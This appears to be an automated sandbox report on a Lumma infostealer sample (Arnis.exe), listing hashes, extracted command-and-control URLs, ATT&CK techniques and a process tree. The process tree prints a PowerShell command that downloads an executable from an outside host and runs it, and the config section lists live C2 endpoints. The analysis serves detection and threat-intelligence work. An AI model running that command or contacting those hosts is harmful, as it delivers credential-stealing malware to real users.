lumma | 43e6a585c64017573bc07fe709222d1b6cb17f01b7391e5b0a3b22be80e9deb6

Analysis

max time kernel
95s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-01-2025 00:03

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General

Target

Arnis.exe
Size

201KB
MD5

2696d944ffbef69510b0c826446fd748
SHA1

e4106861076981799719876019fe5224eac2655c
SHA256

a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a
SHA512

c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb
SSDEEP

3072:gyOSSX7XA5RwkP10/Cg+ufLLobyT9S9jHkQPEZS0bGAPo:tEXjA5yBF+ma9jHfPITGb

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Family

lumma

https://cloudewahsj.shop/api

https://rabidcowse.shop/api

https://noisycuttej.shop/api

https://tirepublicerj.shop/api

https://framekgirus.shop/api

https://wholersorie.shop/api

https://abruptyopsn.shop/api

https://nearycrepso.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	4008	powershell.exe
16	4008	powershell.exe
19	4008	powershell.exe

Downloads MZ/PE file

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x0007000000023c9e-32.dat	net_reactor
behavioral1/memory/3096-36-0x0000000000980000-0x00000000009E2000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Arnis.exe

Executes dropped EXE 2 IoCs

pid	Process
3096	qnkanmxi.4d4.exe
2220	qnkanmxi.4d4.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3096 set thread context of 2220	3096	qnkanmxi.4d4.exe	95

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4008	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process
3532	3096	WerFault.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Arnis.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnkanmxi.4d4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnkanmxi.4d4.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4008	powershell.exe
4008	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4008	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4528	Arnis.exe
4528	Arnis.exe
4528	Arnis.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 4008	4528	Arnis.exe	83
PID 4528 wrote to memory of 4008	4528	Arnis.exe	83
PID 4528 wrote to memory of 4008	4528	Arnis.exe	83
PID 4528 wrote to memory of 3096	4528	Arnis.exe	93
PID 4528 wrote to memory of 3096	4528	Arnis.exe	93
PID 4528 wrote to memory of 3096	4528	Arnis.exe	93
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95
PID 3096 wrote to memory of 2220	3096	qnkanmxi.4d4.exe	95

C:\Users\Admin\AppData\Local\Temp\Arnis.exe
"C:\Users\Admin\AppData\Local\Temp\Arnis.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'https://moolaplace.com/arnireq.exe' -OutFile 'C:\Windows\Temp\qnkanmxi.4d4.exe'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4008
- C:\Windows\Temp\qnkanmxi.4d4.exe
  "C:\Windows\Temp\qnkanmxi.4d4.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\Temp\qnkanmxi.4d4.exe
    "C:\Windows\Temp\qnkanmxi.4d4.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2220
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 800
    3⤵
    - Program crash
    PID:3532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3096 -ip 3096
1⤵
PID:912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rko4lagk.qnc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\qnkanmxi.4d4.exe

Filesize
358KB

MD5
e195a398efc6cf3b170399418eede5dc

SHA1
b2a5786515b12d60c8035c8129123eccb9324d12

SHA256
7b8b7aa7fa8fc7a79ca28976893b21f9c8760fad2bb0bbffa10f97101431e19b

SHA512
5f24fb8836ce26cb8aacac32b1a16e9ae5cd2ab4a11b4aa6b54e38df697d51045cff962193b47d628ab3abdd2057952d8edb96946cf1349890df36774e3c9210

Download Submit
memory/2220-39-0x0000000000400000-0x000000000045B000-memory.dmp

Filesize
364KB

Download
memory/2220-41-0x0000000000400000-0x000000000045B000-memory.dmp

Filesize
364KB

Download
memory/3096-35-0x000000007512E000-0x000000007512F000-memory.dmp

Filesize
4KB

Download
memory/3096-37-0x0000000005760000-0x0000000005D04000-memory.dmp

Filesize
5.6MB

Download
memory/3096-36-0x0000000000980000-0x00000000009E2000-memory.dmp

Filesize
392KB

Download
memory/4008-9-0x0000000074640000-0x0000000074DF0000-memory.dmp

Filesize
7.7MB

Download
memory/4008-6-0x0000000005820000-0x0000000005E48000-memory.dmp

Filesize
6.2MB

Download
memory/4008-7-0x0000000074640000-0x0000000074DF0000-memory.dmp

Filesize
7.7MB

Download
memory/4008-11-0x0000000005FF0000-0x0000000006056000-memory.dmp

Filesize
408KB

Download
memory/4008-21-0x0000000006160000-0x00000000064B4000-memory.dmp

Filesize
3.3MB

Download
memory/4008-4-0x0000000005070000-0x00000000050A6000-memory.dmp

Filesize
216KB

Download
memory/4008-8-0x0000000005780000-0x00000000057A2000-memory.dmp

Filesize
136KB

Download
memory/4008-22-0x0000000006630000-0x000000000664E000-memory.dmp

Filesize
120KB

Download
memory/4008-23-0x0000000006670000-0x00000000066BC000-memory.dmp

Filesize
304KB

Download
memory/4008-25-0x0000000006B50000-0x0000000006B6A000-memory.dmp

Filesize
104KB

Download
memory/4008-24-0x0000000007C80000-0x00000000082FA000-memory.dmp

Filesize
6.5MB

Download
memory/4008-29-0x0000000074640000-0x0000000074DF0000-memory.dmp

Filesize
7.7MB

Download
memory/4008-5-0x0000000074640000-0x0000000074DF0000-memory.dmp

Filesize
7.7MB

Download
memory/4008-10-0x0000000005E50000-0x0000000005EB6000-memory.dmp

Filesize
408KB

Download
memory/4528-0-0x0000000005550000-0x0000000005560000-memory.dmp

Filesize
64KB

Download
memory/4528-2-0x00000000054E0000-0x00000000054EA000-memory.dmp

Filesize
40KB

Download
memory/4528-3-0x0000000074EF0000-0x0000000074EFA000-memory.dmp

Filesize
40KB

Download
memory/4528-1-0x000000007464E000-0x000000007464F000-memory.dmp

Filesize
4KB

Download
memory/4528-31-0x0000000005550000-0x0000000005560000-memory.dmp

Filesize
64KB

Download